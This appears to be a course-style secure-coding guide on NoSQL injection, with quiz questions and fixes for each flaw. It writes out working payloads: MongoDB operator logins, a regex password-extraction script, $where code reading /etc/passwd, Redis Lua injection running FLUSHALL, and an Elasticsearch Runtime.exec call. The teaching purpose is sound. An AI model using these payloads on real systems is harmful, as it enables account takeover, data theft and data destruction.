01 //Introduction to NoSQL Injection
NoSQL injection is a vulnerability class that targets applications using NoSQL databases such as MongoDB, Redis, CouchDB, Cassandra, and DynamoDB. Unlike traditional SQL injection, NoSQL injection exploits the query syntax and operators specific to each database, often through JSON-based query objects rather than string concatenation.
The rise of MongoDB as the most popular NoSQL database — combined with Node.js and Express — has made NoSQL injection one of the most prevalent web vulnerabilities in modern JavaScript applications. MongoDB alone powers millions of applications, and its flexible query operators make it particularly susceptible to injection when user input is not properly validated.
In this guide, you'll learn to identify NoSQL injection vulnerabilities during code review, understand the various attack vectors (operator injection, JavaScript injection, and data extraction), and implement robust prevention techniques across different languages and frameworks.
Attacker injects MongoDB query operators like $gt, $ne, or $regex into application inputs to manipulate query logic.
Attacker injects server-side JavaScript via $where clauses or mapReduce functions to execute arbitrary code.
Through regex-based extraction, boolean-based blind injection, or timing attacks, sensitive data is exfiltrated.
Why are NoSQL databases vulnerable to injection attacks despite not using SQL?
02 //Real-World Scenario
Consider a typical Node.js + Express + MongoDB login endpoint. The developer receives username and password from a JSON request body and queries MongoDB directly:
1// Vulnerable login endpoint
2app.post('/api/login', async (req, res) => {
3 const { username, password } = req.body;
4
5 // VULNERABLE: User input passed directly to MongoDB query
6 const user = await db.collection('users').findOne({
7 username: username,
8 password: password
9 });
10
11 if (user) {
12 // Generate session token
13 const token = generateSessionToken(user._id);
14 res.json({ success: true, token });
15 } else {
16 res.status(401).json({ error: 'Invalid credentials' });
17 }
18});This looks innocent — there's no string concatenation, no eval(), no obvious injection point. But an attacker can send the following JSON payload:
1{
2 "username": "admin",
3 "password": { "$ne": "" }
4}The resulting MongoDB query becomes:
1// What MongoDB actually executes:
2db.collection('users').findOne({
3 username: "admin",
4 password: { $ne: "" } // Matches ANY non-empty password!
5});The attacker doesn't even need a specific username. They could bypass authentication entirely:
1{
2 "username": { "$gt": "" },
3 "password": { "$gt": "" }
4}This returns the first user in the collection (often an admin) because both conditions match any non-empty string. The attacker gains access without knowing any credentials.
An attacker sends {"username": {"$regex": "^admin"}, "password": {"$ne": null}}. What does this query do?
03 //Understanding NoSQL Injection
NoSQL injection differs fundamentally from SQL injection. While SQL injection manipulates string-based query languages, NoSQL injection typically exploits structured query objects — particularly JSON-based queries in MongoDB. Understanding the attack surface requires knowing how NoSQL databases process queries.
NoSQL Injection vs SQL Injection
| Aspect | SQL Injection | NoSQL Injection |
|---|---|---|
| Query Format | String-based SQL statements | JSON objects / key-value pairs |
| Injection Vector | String concatenation | Object/operator injection via JSON |
| Primary Risk | Query manipulation via quotes/comments | Operator injection ($gt, $ne, $where) |
| Code Execution | xp_cmdshell, LOAD_FILE() | $where, mapReduce, $function |
| Data Extraction | UNION SELECT, blind boolean | $regex blind extraction, timing attacks |
| Prevention | Parameterized queries | Input type validation, operator sanitization |
There are three main categories of NoSQL injection:
- Operator Injection — Injecting MongoDB query operators ($gt, $ne, $regex, $or, etc.) into query parameters to manipulate query logic. This is the most common type.
- JavaScript Injection — Injecting server-side JavaScript code via $where clauses, mapReduce, or $function operators. This can lead to arbitrary code execution on the database server.
- Syntax Injection — Manipulating query syntax in databases that use string-based query formats (e.g., Redis command injection, CouchDB view injection).
$gt / $gteGreater than — bypasses equality checks$lt / $lteLess than — bypasses equality checks$neNot equal — matches everything except one value$in / $ninIn / not in array — widens match scope$regexRegular expression — enables data extraction$orLogical OR — adds alternative match conditions$andLogical AND — modifies query logic$whereJS expression — enables code execution$existsField existence — enumerates document structure$typeBSON type check — schema enumerationThe key insight is that NoSQL injection happens at the data structure level rather than the string level. An attacker doesn't need to break out of a string — they need to control the shape of the object being passed to the database query.
What is the fundamental difference between SQL injection and NoSQL injection?
04 //MongoDB Operator Injection
Operator injection is the most common form of NoSQL injection in MongoDB applications. It occurs when user-controlled input containing MongoDB query operators is passed directly into database queries. Let's examine the vulnerable patterns systematically.
Authentication Bypass Patterns:
1// Pattern 1: Direct object pass-through (VULNERABLE)
2const user = await User.findOne({
3 email: req.body.email,
4 password: req.body.password // Attacker sends { "$ne": "" }
5});
6
7// Pattern 2: Vulnerable with Mongoose (STILL VULNERABLE)
8const user = await User.findOne({
9 username: req.body.username,
10 password: req.body.password // Mongoose passes operators through!
11});
12
13// Pattern 3: Query building from request (VULNERABLE)
14const query = {};
15if (req.body.username) query.username = req.body.username;
16if (req.body.password) query.password = req.body.password;
17const user = await db.collection('users').findOne(query);Data Enumeration via $regex:
1// Attacker can extract data character by character using $regex
2// Step 1: Find if admin password starts with 'a'
3{ "username": "admin", "password": { "$regex": "^a" } }
4
5// Step 2: Find second character
6{ "username": "admin", "password": { "$regex": "^ab" } }
7{ "username": "admin", "password": { "$regex": "^ac" } } // etc.
8
9// Step 3: Continue until full password is extracted
10{ "username": "admin", "password": { "$regex": "^abc123" } }
11
12// This is blind NoSQL injection — extracting data
13// by observing different responses (200 vs 401)Logic Manipulation via $or:
1// Vulnerable search endpoint
2app.get('/api/products', async (req, res) => {
3 const products = await db.collection('products').find({
4 category: req.query.category,
5 public: true
6 }).toArray();
7 res.json(products);
8});
9
10// Attacker sends: ?category[$or][0][public]=false&category[$or][1][public]=true
11// Express query string parser creates:
12// { category: { $or: [{ public: false }, { public: true }] } }
13// This bypasses the public: true filter!Bypassing Access Controls:
1// Vulnerable endpoint — find documents by user ID
2app.get('/api/documents/:userId', async (req, res) => {
3 const docs = await db.collection('documents').find({
4 owner: req.params.userId, // Intended: specific user
5 visibility: req.query.visibility // VULNERABLE to operator injection
6 }).toArray();
7 res.json(docs);
8});
9
10// Attacker sends: /api/documents/myId?visibility[$ne]=null
11// Returns ALL documents regardless of visibility setting
12
13// Even worse with $or injection:
14// ?visibility[$or][0][owner]=victimId&visibility[$or][1][owner]=myId
15// Returns victim's documents too!An application uses: db.users.find({ role: req.query.role }). An attacker sends ?role[$ne]=admin. What happens?
05 //Finding Vulnerable Sinks
During code review, identifying NoSQL injection requires finding sinks (database query functions) that receive tainted input (user-controlled data) without proper sanitization. Here are the key sinks to look for across different languages and frameworks.
Node.js / MongoDB Native Driver Sinks:
1// HIGH RISK: Direct query methods
2collection.find(userInput) // Find documents
3collection.findOne(userInput) // Find single document
4collection.findOneAndUpdate(userInput, update) // Find and update
5collection.findOneAndDelete(userInput) // Find and delete
6collection.updateOne(userInput, update) // Update matching doc
7collection.updateMany(userInput, update) // Update all matching
8collection.deleteOne(userInput) // Delete matching doc
9collection.deleteMany(userInput) // Delete all matching
10collection.countDocuments(userInput) // Count matching docs
11collection.distinct(field, userInput) // Distinct values with filter
12
13// CRITICAL: Aggregation pipeline
14collection.aggregate([
15 { $match: userInput }, // Operator injection in $match
16 { $group: userInput } // Injection in $group
17])
18
19// CRITICAL: JavaScript execution
20collection.find({ $where: userInput }) // Server-side JS execution
21collection.mapReduce(mapFn, reduceFn, { query: userInput })Mongoose (Node.js ODM) Sinks:
1// All Mongoose query methods are vulnerable to operator injection
2Model.find(userInput)
3Model.findOne(userInput)
4Model.findById(userInput) // Less risky — expects ObjectId
5Model.findOneAndUpdate(userInput, update)
6Model.findOneAndDelete(userInput)
7Model.where(field).equals(userInput) // Chained queries too
8Model.countDocuments(userInput)
9
10// Mongoose does NOT sanitize query operators by default!
11// Even with schema validation, query operators pass throughPython / PyMongo Sinks:
1# PyMongo - MongoDB native driver for Python
2collection.find(user_input)
3collection.find_one(user_input)
4collection.update_one(user_input, update)
5collection.update_many(user_input, update)
6collection.delete_one(user_input)
7collection.delete_many(user_input)
8collection.count_documents(user_input)
9collection.aggregate([{"$match": user_input}])
10
11# Flask example - vulnerable pattern
12@app.route('/api/login', methods=['POST'])
13def login():
14 data = request.get_json() # Parses JSON body
15 user = db.users.find_one({
16 'username': data['username'], # VULNERABLE
17 'password': data['password'] # VULNERABLE
18 })
19
20# Django + djongo / mongoengine
21MyModel.objects.raw(user_input) # Raw query
22MyModel.objects.filter(**user_input) # Dict unpacking!Java / Spring Data MongoDB Sinks:
1// Spring Data MongoDB
2Query query = new Query(Criteria.where("username").is(userInput));
3mongoTemplate.find(query, User.class);
4
5// Vulnerable: Building queries from raw input
6BasicDBObject queryObj = BasicDBObject.parse(userInputJson);
7collection.find(queryObj); // CRITICAL: Parses arbitrary operators
8
9// Vulnerable: Using @Query with SpEL
10@Query("{ 'username': ?0, 'password': ?1 }")
11User findByCredentials(String username, String password);
12// If input contains {"$ne":""}, the operator is interpreted!
13
14// MongoTemplate with Criteria
15Criteria criteria = Criteria.where(fieldName).is(value);
16// If 'value' is a Map containing operators, they're interpretedNoSQL Injection Sink Severity Matrix
| Sink Type | Risk Level | Impact | Common In |
|---|---|---|---|
| find() / findOne() with user object | Critical | Auth bypass, data leak | Node.js, Python |
| $where / mapReduce with user string | Critical | Remote code execution | All MongoDB drivers |
| aggregate() with user-controlled $match | High | Data leak, filter bypass | Node.js, Python, Java |
| updateOne() with user-controlled filter | High | Unauthorized modification | All frameworks |
| deleteMany() with user-controlled filter | Critical | Mass data deletion | All frameworks |
| Query string parsed objects (?key[$ne]=val) | High | Operator injection via URL | Express, Flask |
Which of these Mongoose patterns is vulnerable to NoSQL injection?
06 //Server-Side JavaScript Injection
Beyond operator injection, MongoDB supports server-side JavaScript execution through several mechanisms. When user input reaches these execution contexts, it can lead to Remote Code Execution (RCE) on the database server — a much more severe impact than data leakage.
$where Injection:
1// CRITICAL VULNERABILITY: $where with user input
2app.get('/api/search', async (req, res) => {
3 const searchTerm = req.query.q;
4
5 // VULNERABLE: User input in $where JavaScript expression
6 const results = await db.collection('products').find({
7 $where: `this.name.includes('${searchTerm}')`
8 }).toArray();
9
10 res.json(results);
11});
12
13// Attacker sends: ?q=') || true || ('
14// Resulting $where: this.name.includes('') || true || ('')
15// Returns ALL documents in the collection
16
17// Worse attack: ?q='); sleep(5000); ('
18// Causes 5-second delay — confirms JavaScript execution
19
20// RCE payload (MongoDB < 4.4):
21// ?q='); var fs = require('fs'); return fs.readFileSync('/etc/passwd').toString(); ('mapReduce Injection:
1// VULNERABLE: mapReduce with user-influenced functions
2app.post('/api/analytics', async (req, res) => {
3 const { groupBy } = req.body;
4
5 // VULNERABLE: User input in JavaScript function
6 const result = await db.collection('orders').mapReduce(
7 new Function(`emit(this.${groupBy}, this.amount)`), // Map function
8 function(key, values) { return Array.sum(values); }, // Reduce function
9 { out: { inline: 1 } }
10 );
11
12 res.json(result);
13});
14
15// Attacker sends: { "groupBy": "status); db.users.find().forEach(function(u){emit(u.email, u.password" }
16// This breaks out of the field reference and accesses other collections$function and $accumulator (MongoDB 4.4+):
1// MongoDB 4.4+ introduced $function and $accumulator operators
2// These execute JavaScript in the aggregation pipeline
3
4// VULNERABLE: User input in $function body
5app.post('/api/transform', async (req, res) => {
6 const { transform } = req.body;
7
8 const results = await db.collection('data').aggregate([
9 {
10 $addFields: {
11 computed: {
12 $function: {
13 body: transform, // CRITICAL: User-controlled JS code
14 args: ["$value"],
15 lang: "js"
16 }
17 }
18 }
19 }
20 ]).toArray();
21
22 res.json(results);
23});
24
25// Attacker sends: { "transform": "function(v) { return db.adminCommand({listDatabases:1}) }" }Safe Alternatives to $where:
1// INSTEAD of $where, use MongoDB query operators:
2
3// BAD: $where with string matching
4db.products.find({ $where: "this.name.includes('laptop')" })
5
6// GOOD: $regex operator (still validate input!)
7db.products.find({ name: { $regex: /laptop/i } })
8
9// BAD: $where with comparison
10db.products.find({ $where: "this.price > 100 && this.price < 500" })
11
12// GOOD: Native operators
13db.products.find({ price: { $gt: 100, $lt: 500 } })
14
15// BAD: $where with complex logic
16db.orders.find({ $where: "this.items.length > 5" })
17
18// GOOD: $expr with $size
19db.orders.find({ $expr: { $gt: [{ $size: "$items" }, 5] } })A developer uses: db.find({ $where: `this.status === '${userInput}'` }). An attacker sends: ' || '' === '. What happens?
07 //Prevention Techniques
Preventing NoSQL injection requires a defense-in-depth approach that combines input validation, query sanitization, and architectural controls. Unlike SQL injection, there is no equivalent of "parameterized queries" for MongoDB — so prevention relies on disciplined input handling.
1. Input Type Validation (Most Important):
1// The #1 defense: Ensure inputs are the expected type
2// NEVER pass raw request body fields to MongoDB queries
3
4// GOOD: Explicit string casting
5app.post('/api/login', async (req, res) => {
6 const username = String(req.body.username); // Forces string type
7 const password = String(req.body.password); // { "$ne": "" } becomes "[object Object]"
8
9 const user = await db.collection('users').findOne({
10 username: username,
11 password: password // Now safe — always a string
12 });
13});
14
15// GOOD: Type checking before query
16app.post('/api/login', async (req, res) => {
17 const { username, password } = req.body;
18
19 // Reject non-string inputs
20 if (typeof username !== 'string' || typeof password !== 'string') {
21 return res.status(400).json({ error: 'Invalid input type' });
22 }
23
24 const user = await User.findOne({ username, password });
25});2. Schema Validation with Joi / Zod:
1// Use schema validation to enforce types BEFORE reaching the database
2
3// With Zod
4import { z } from 'zod';
5
6const loginSchema = z.object({
7 username: z.string().min(1).max(50),
8 password: z.string().min(8).max(128),
9});
10
11app.post('/api/login', async (req, res) => {
12 // Zod rejects objects like { "$ne": "" } — they're not strings
13 const result = loginSchema.safeParse(req.body);
14 if (!result.success) {
15 return res.status(400).json({ error: 'Invalid input' });
16 }
17
18 const { username, password } = result.data;
19 const user = await User.findOne({ username, password });
20});
21
22// With Joi
23import Joi from 'joi';
24
25const loginSchema = Joi.object({
26 username: Joi.string().required().max(50),
27 password: Joi.string().required().max(128),
28});3. Sanitize MongoDB Operators (mongo-sanitize):
1// npm install mongo-sanitize
2import sanitize from 'mongo-sanitize';
3
4app.post('/api/login', async (req, res) => {
5 // Strips any keys starting with $ from the input
6 const cleanBody = sanitize(req.body);
7
8 const user = await User.findOne({
9 username: cleanBody.username,
10 password: cleanBody.password
11 });
12});
13
14// Before: { username: "admin", password: { "$ne": "" } }
15// After: { username: "admin", password: {} }
16
17// You can also sanitize individual fields:
18const username = sanitize(req.body.username);
19const password = sanitize(req.body.password);4. Express middleware for global sanitization:
1// Global middleware to strip MongoDB operators from all requests
2import sanitize from 'mongo-sanitize';
3
4// Apply to all routes
5app.use((req, res, next) => {
6 if (req.body) req.body = sanitize(req.body);
7 if (req.query) req.query = sanitize(req.query);
8 if (req.params) req.params = sanitize(req.params);
9 next();
10});
11
12// Or use express-mongo-sanitize package
13import mongoSanitize from 'express-mongo-sanitize';
14
15app.use(mongoSanitize()); // Strips $ and . from req.body, req.query, req.params
16
17// With options:
18app.use(mongoSanitize({
19 replaceWith: '_', // Replace $ with _ instead of removing
20 allowDots: false, // Also sanitize dots (for nested keys)
21 dryRun: false, // Set to true for logging without blocking
22}));5. Disable Server-Side JavaScript:
1# In mongod.conf — disable server-side JavaScript execution
2security:
3 javascriptEnabled: false
4
5# Or via command line:
6# mongod --noscripting
7
8# This disables:
9# - $where operator
10# - mapReduce JavaScript functions
11# - $accumulator operator
12# - $function operator
13# - db.eval() (removed in MongoDB 4.2)6. Python Prevention Patterns:
1# Python - Pydantic validation
2from pydantic import BaseModel, validator
3
4class LoginRequest(BaseModel):
5 username: str
6 password: str
7
8 @validator('username', 'password')
9 def must_be_string(cls, v):
10 if not isinstance(v, str):
11 raise ValueError('Must be a string')
12 return v
13
14@app.route('/api/login', methods=['POST'])
15def login():
16 try:
17 data = LoginRequest(**request.get_json())
18 except ValueError:
19 return jsonify({'error': 'Invalid input'}), 400
20
21 user = db.users.find_one({
22 'username': data.username,
23 'password': data.password # Safe — validated as string
24 })
25
26# Manual sanitization function
27def sanitize_input(data):
28 """Remove keys starting with $ from nested dicts"""
29 if isinstance(data, dict):
30 return {
31 k: sanitize_input(v)
32 for k, v in data.items()
33 if not k.startswith('$')
34 }
35 if isinstance(data, list):
36 return [sanitize_input(item) for item in data]
37 return dataWhich prevention technique is the MOST effective single defense against NoSQL injection?
08 //Data Extraction Techniques
Beyond authentication bypass, NoSQL injection can be used for systematic data extraction. These techniques allow attackers to enumerate collections, extract sensitive fields, and even discover the database schema — all through the same injection vectors used for authentication bypass.
Blind Boolean-Based Extraction:
1// Blind extraction works by asking yes/no questions via the response
2
3// Step 1: Check if admin password starts with each character
4// Attacker automates requests like:
5POST /api/login
6{ "username": "admin", "password": { "$regex": "^a" } } // 401 → doesn't start with 'a'
7{ "username": "admin", "password": { "$regex": "^b" } } // 401 → not 'b'
8{ "username": "admin", "password": { "$regex": "^p" } } // 200 → starts with 'p'!
9
10// Step 2: Extract second character
11{ "username": "admin", "password": { "$regex": "^pa" } } // 200 → 'pa...'
12{ "username": "admin", "password": { "$regex": "^pas" } } // 200 → 'pas...'
13
14// Automated extraction script
15async function extractPassword(username) {
16 const chars = 'abcdefghijklmnopqrstuvwxyz0123456789!@#$%';
17 let password = '';
18
19 for (let pos = 0; pos < 50; pos++) {
20 let found = false;
21 for (const char of chars) {
22 const regex = `^${escapeRegex(password + char)}`;
23 const response = await fetch('/api/login', {
24 method: 'POST',
25 headers: { 'Content-Type': 'application/json' },
26 body: JSON.stringify({
27 username,
28 password: { "$regex": regex }
29 })
30 });
31
32 if (response.status === 200) {
33 password += char;
34 found = true;
35 break;
36 }
37 }
38 if (!found) break; // No more characters
39 }
40
41 return password;
42}Timing-Based Extraction (via $where):
1// When the application doesn't reveal login success/failure differently,
2// timing attacks can extract data via $where
3
4// If the first char of password matches, sleep for 5 seconds
5POST /api/login
6{
7 "username": "admin",
8 "password": {
9 "$where": "if(this.password.charAt(0) === 'p') { sleep(5000); return true; } return false;"
10 }
11}
12
13// Response time > 5s → first character is 'p'
14// Response time < 1s → first character is NOT 'p'
15
16// More efficient: Binary search using charCodeAt
17{
18 "$where": "if(this.password.charCodeAt(0) > 109) { sleep(5000); return true; } return false;"
19}
20// This halves the search space each iteration (binary search = O(log n))Field and Collection Enumeration:
1// Enumerate field names using $exists
2// Discover what fields exist in the users collection
3{ "username": "admin", "ssn": { "$exists": true } } // Does 'ssn' field exist?
4{ "username": "admin", "creditCard": { "$exists": true } } // Does 'creditCard' exist?
5{ "username": "admin", "apiKey": { "$exists": true } } // Does 'apiKey' exist?
6
7// Extract field values after discovering field names
8{ "username": "admin", "ssn": { "$regex": "^\\d{3}" } } // SSN starts with 3 digits?
9
10// Enumerate password length
11{ "username": "admin", "password": { "$regex": "^.{8}$" } } // Exactly 8 chars?
12{ "username": "admin", "password": { "$regex": "^.{12}$" } } // Exactly 12 chars?
13
14// Discover field types
15{ "username": "admin", "age": { "$type": "number" } } // Is age a number?
16{ "username": "admin", "age": { "$type": "string" } } // Or a string?Array and Nested Document Extraction:
1// Extract array elements
2// If users have a 'roles' array field:
3{ "username": "admin", "roles": { "$elemMatch": { "$regex": "^admin" } } }
4
5// Extract nested document fields
6{ "username": "admin", "address.city": { "$regex": "^New" } }
7{ "username": "admin", "payment.last4": { "$regex": "^4242" } }
8
9// Use $size to check array lengths
10{ "username": "admin", "sessions": { "$size": 3 } } // Has exactly 3 sessions?
11
12// Combine with $all for set membership
13{ "username": "admin", "permissions": { "$all": ["admin", "write"] } }An attacker sends {"password": {"$regex": "^.{12}$"}} and gets a 200 response. What did they learn?
09 //Other NoSQL Databases
While MongoDB is the most commonly targeted NoSQL database, injection vulnerabilities exist across the entire NoSQL ecosystem. Each database has unique query mechanisms and attack vectors that require specific knowledge to identify and prevent.
Redis Command Injection:
1// Redis uses a command-based protocol, not JSON queries
2// Injection happens when commands are built from user input
3
4// VULNERABLE: String concatenation for Redis commands
5const redis = require('redis');
6const client = redis.createClient();
7
8app.get('/api/cache', async (req, res) => {
9 const key = req.query.key;
10
11 // VULNERABLE: User controls the Redis key
12 const value = await client.get(key); // Relatively safe with modern clients
13
14 // CRITICAL: eval with user input
15 const result = await client.eval(
16 `return redis.call('get', '${key}')`, // Lua injection!
17 0
18 );
19
20 res.json({ value: result });
21});
22
23// Attacker sends: ?key=x') redis.call('FLUSHALL') --
24// Lua injection clears the entire Redis database!
25
26// VULNERABLE: Building multi-commands
27app.post('/api/session', async (req, res) => {
28 const sessionId = req.body.sessionId;
29 // If using raw command protocol:
30 await client.sendCommand(['GET', sessionId]);
31 // Attacker could send sessionId with CRLF injection:
32 // "session123\r\nFLUSHALL\r\n"
33});Safe Redis Patterns:
1// SAFE: Use parameterized Redis commands (modern clients handle this)
2const value = await client.get(sanitizedKey);
3
4// SAFE: Validate and sanitize keys
5function sanitizeRedisKey(key) {
6 // Only allow alphanumeric characters and specific separators
7 if (!/^[a-zA-Z0-9:_-]+$/.test(key)) {
8 throw new Error('Invalid key format');
9 }
10 return key;
11}
12
13// SAFE: Use Redis Lua scripts with KEYS/ARGV parameters
14const result = await client.eval(
15 'return redis.call("get", KEYS[1])', // Parameterized!
16 1,
17 sanitizedKey // Passed as KEYS[1], not interpolated
18);
19
20// CRITICAL: Never use EVAL with string interpolation
21// CRITICAL: Disable dangerous commands in production
22// In redis.conf:
23// rename-command FLUSHALL ""
24// rename-command FLUSHDB ""
25// rename-command CONFIG ""
26// rename-command DEBUG ""CouchDB Injection:
1// CouchDB uses HTTP API with JSON selectors (Mango queries)
2// Similar operator injection to MongoDB
3
4// VULNERABLE: Direct selector pass-through
5app.post('/api/search', async (req, res) => {
6 const response = await fetch('http://couchdb:5984/mydb/_find', {
7 method: 'POST',
8 headers: { 'Content-Type': 'application/json' },
9 body: JSON.stringify({
10 selector: {
11 type: 'public',
12 owner: req.body.owner // VULNERABLE: Operator injection
13 }
14 })
15 });
16
17 res.json(await response.json());
18});
19
20// Attacker sends: { "owner": { "$gt": null } }
21// Returns ALL documents regardless of owner
22
23// CouchDB Mango operators: $eq, $gt, $gte, $lt, $lte, $ne,
24// $in, $nin, $exists, $type, $regex, $or, $and, $not, $nor
25
26// CouchDB View injection (if views are created from user input):
27// Map functions in CouchDB are JavaScript — same $where risksDynamoDB Injection:
1// DynamoDB uses expression-based queries with placeholders
2// Generally safer by design, but still has injection vectors
3
4// VULNERABLE: FilterExpression built from user input
5const AWS = require('aws-sdk');
6const dynamodb = new AWS.DynamoDB.DocumentClient();
7
8app.get('/api/items', async (req, res) => {
9 const { status, category } = req.query;
10
11 // VULNERABLE: String interpolation in expressions
12 const params = {
13 TableName: 'Items',
14 FilterExpression: `#status = ${status} AND category = :cat`,
15 ExpressionAttributeNames: { '#status': 'status' },
16 ExpressionAttributeValues: { ':cat': category }
17 };
18
19 const result = await dynamodb.scan(params).promise();
20 res.json(result.Items);
21});
22
23// SAFE: Always use ExpressionAttributeValues
24const safeParams = {
25 TableName: 'Items',
26 FilterExpression: '#status = :status AND #category = :cat',
27 ExpressionAttributeNames: {
28 '#status': 'status',
29 '#category': 'category'
30 },
31 ExpressionAttributeValues: {
32 ':status': String(req.query.status),
33 ':cat': String(req.query.category)
34 }
35};Elasticsearch Injection:
1// Elasticsearch uses JSON DSL for queries — similar to MongoDB risks
2
3// VULNERABLE: Direct query pass-through
4app.post('/api/search', async (req, res) => {
5 const result = await esClient.search({
6 index: 'products',
7 body: {
8 query: {
9 bool: {
10 must: [
11 { match: { name: req.body.searchTerm } },
12 { term: { public: true } }
13 ]
14 }
15 }
16 }
17 });
18 res.json(result.body.hits);
19});
20
21// VULNERABLE: Allowing raw query DSL from users
22app.post('/api/advanced-search', async (req, res) => {
23 // CRITICAL: User controls the entire query body
24 const result = await esClient.search({
25 index: 'products',
26 body: req.body // Attacker can use script queries, access other indices
27 });
28});
29
30// Attacker sends a script query for RCE:
31// { "query": { "script": { "script": "Runtime.getRuntime().exec('id')" } } }
32
33// SAFE: Build queries programmatically, never pass raw body
34// SAFE: Disable scripting in elasticsearch.yml:
35// script.allowed_types: noneNoSQL Database Injection Comparison
| Database | Query Format | Primary Injection Vector | Code Execution Risk |
|---|---|---|---|
| MongoDB | JSON operators | Operator injection ($ne, $gt, $regex) | High ($where, mapReduce) |
| Redis | Command protocol | Command/Lua injection | Critical (EVAL, CONFIG) |
| CouchDB | Mango selectors | Operator injection + View JS | High (view functions) |
| DynamoDB | Expression API | Expression injection | Low (no JS execution) |
| Elasticsearch | Query DSL | Script injection, DSL manipulation | High (Painless scripts) |
| Cassandra | CQL (SQL-like) | CQL injection (similar to SQLi) | Low (no stored procedures) |
| Firebase | Path-based rules | Rule bypass, path manipulation | Medium (Cloud Functions) |
Which NoSQL database is MOST similar to traditional SQL injection in terms of its injection mechanism?
10 //Real-World Case Studies
NoSQL injection has been responsible for numerous high-profile security breaches. These case studies illustrate the real-world impact and common patterns that lead to exploitation.
Case Study 1: Authentication Bypass in a SaaS Platform (2023)
1// The vulnerable code (simplified)
2router.post('/login', async (req, res) => {
3 const user = await User.findOne({
4 email: req.body.email,
5 password: hashPassword(req.body.password) // Hashing doesn't help!
6 });
7 // ...
8});
9
10// Why hashing doesn't prevent injection:
11// The password field receives { "$ne": "" } (an object)
12// hashPassword({ "$ne": "" }) might return a consistent hash
13// OR the hash function might throw, and error handling falls through
14// OR in some implementations, the object bypasses the hash entirely
15
16// The fix: Type validation before hashing
17router.post('/login', async (req, res) => {
18 if (typeof req.body.email !== 'string' || typeof req.body.password !== 'string') {
19 return res.status(400).json({ error: 'Invalid input' });
20 }
21 const user = await User.findOne({
22 email: req.body.email,
23 password: hashPassword(req.body.password)
24 });
25});Case Study 2: Data Exfiltration via Blind Regex Injection (2022)
1// The vulnerable search endpoint
2app.get('/api/patients/search', async (req, res) => {
3 const query = {};
4 if (req.query.name) query.name = req.query.name;
5 if (req.query.mrn) query.mrn = req.query.mrn;
6
7 const patients = await Patient.find(query).limit(10);
8 res.json(patients.map(p => ({ id: p._id, name: p.name })));
9});
10
11// Attacker's extraction script
12// Step 1: ?name[$regex]=^A → found patients starting with 'A'
13// Step 2: ?mrn[$regex]=^1234 → MRN starts with 1234
14// Step 3: Automated character-by-character extraction
15
16// The fix: express-mongo-sanitize + input validation
17app.use(mongoSanitize());
18app.get('/api/patients/search', async (req, res) => {
19 const query = {};
20 if (typeof req.query.name === 'string') {
21 query.name = { $regex: escapeRegex(req.query.name), $options: 'i' };
22 }
23 // ...
24});Case Study 3: Mass Data Deletion via deleteMany() Injection (2024)
1// The vulnerable bulk delete endpoint
2app.post('/api/admin/content/bulk-delete', async (req, res) => {
3 const { filter } = req.body;
4
5 // CRITICAL: User controls the entire filter object
6 const result = await db.collection('content').deleteMany(filter);
7
8 res.json({ deleted: result.deletedCount });
9});
10
11// Attacker sends: { "filter": { "_id": { "$ne": null } } }
12// This matches EVERY document → mass deletion
13
14// The fix: Strict allowlist for filter fields + explicit IDs only
15app.post('/api/admin/content/bulk-delete', async (req, res) => {
16 const { ids } = req.body;
17
18 // Only accept an array of ObjectId strings
19 if (!Array.isArray(ids) || !ids.every(id => ObjectId.isValid(id))) {
20 return res.status(400).json({ error: 'Invalid IDs' });
21 }
22
23 const result = await db.collection('content').deleteMany({
24 _id: { $in: ids.map(id => new ObjectId(id)) }
25 });
26
27 res.json({ deleted: result.deletedCount });
28});Case Study 4: Redis Command Injection in Session Management (2023)
1// Vulnerable session handling with Redis
2app.get('/api/session/:sessionId', async (req, res) => {
3 const { sessionId } = req.params;
4
5 // VULNERABLE: Using EVAL with string interpolation
6 const sessionData = await redis.eval(
7 `return redis.call('HGETALL', 'session:${sessionId}')`,
8 0
9 );
10
11 res.json(sessionData);
12});
13
14// Attacker sends: /api/session/x'); redis.call('KEYS', '*'); --
15// Enumerates all Redis keys, discovering session tokens, cache keys, etc.
16
17// More destructive:
18// /api/session/x'); redis.call('FLUSHALL'); --
19// Wipes the entire Redis database (all sessions, all cache)
20
21// The fix: Use parameterized EVALSHA with KEYS/ARGV
22const HGETALL_SCRIPT = 'return redis.call("HGETALL", KEYS[1])';
23const scriptSha = await redis.scriptLoad(HGETALL_SCRIPT);
24
25app.get('/api/session/:sessionId', async (req, res) => {
26 const sessionId = req.params.sessionId.replace(/[^a-zA-Z0-9-]/g, '');
27 const sessionData = await redis.evalsha(
28 scriptSha, 1, `session:${sessionId}`
29 );
30 res.json(sessionData);
31});Notable NoSQL Injection Vulnerabilities
| Target | Year | Database | Impact | Root Cause |
|---|---|---|---|---|
| PayPal Bug Bounty | 2019 | MongoDB | $15,300 bounty | Operator injection in API |
| Rocket.Chat (CVE-2021-22911) | 2021 | MongoDB | Auth bypass + RCE | $where injection in getPasswordPolicy |
| Parse Server (CVE-2022-24760) | 2022 | MongoDB | Auth bypass | Operator injection in login flow |
| Webiny CMS (CVE-2023-22466) | 2023 | DynamoDB | Unauthorized access | Expression injection |
| KeystoneJS (CVE-2022-0087) | 2022 | MongoDB | Auth bypass | Nested operator injection |
| Mongoose < 6.0 (CVE-2023-3696) | 2023 | MongoDB | Prototype pollution + injection | Unsafe merge of query objects |
A developer argues: 'We hash passwords before querying, so NoSQL injection on the password field is impossible.' Is this correct?
11 //Tools & Resources
NoSQL Injection Detection and Prevention Tools
| Category | Tool Name | Description |
|---|---|---|
| Static Analysis | Semgrep | Custom rules for NoSQL injection pattern detection (mongo-no-client-side-injection) |
| Static Analysis | ESLint Plugin | eslint-plugin-security flags dangerous MongoDB patterns |
| Static Analysis | CodeQL | Data flow analysis for tracking user input to MongoDB sinks |
| Dynamic Testing | Burp Suite | NoSQLi scanner extension for automated testing |
| Dynamic Testing | OWASP ZAP | MongoDB injection scanning via active scan rules |
| Exploitation | nosqlmap | Automated NoSQL injection and database takeover tool |
| Exploitation | NoSQLi | Python-based NoSQL injection exploitation framework |
| Defense | express-mongo-sanitize | Express middleware to strip MongoDB operators from input |
| Defense | mongo-sanitize | Standalone MongoDB input sanitization library |
| Validation | Zod / Joi | Schema validation libraries for strict type enforcement |
Useful resources for learning more about NoSQL injection:
- OWASP Testing Guide: NoSQL Injection
- PortSwigger: NoSQL Injection Tutorial
- PayloadsAllTheThings: NoSQL Injection Cheat Sheet
- HackTricks: NoSQL Injection
- NullSweep: NoSQL Injection Cheat Sheet
- MongoDB Official Security Documentation
12 //Conclusion
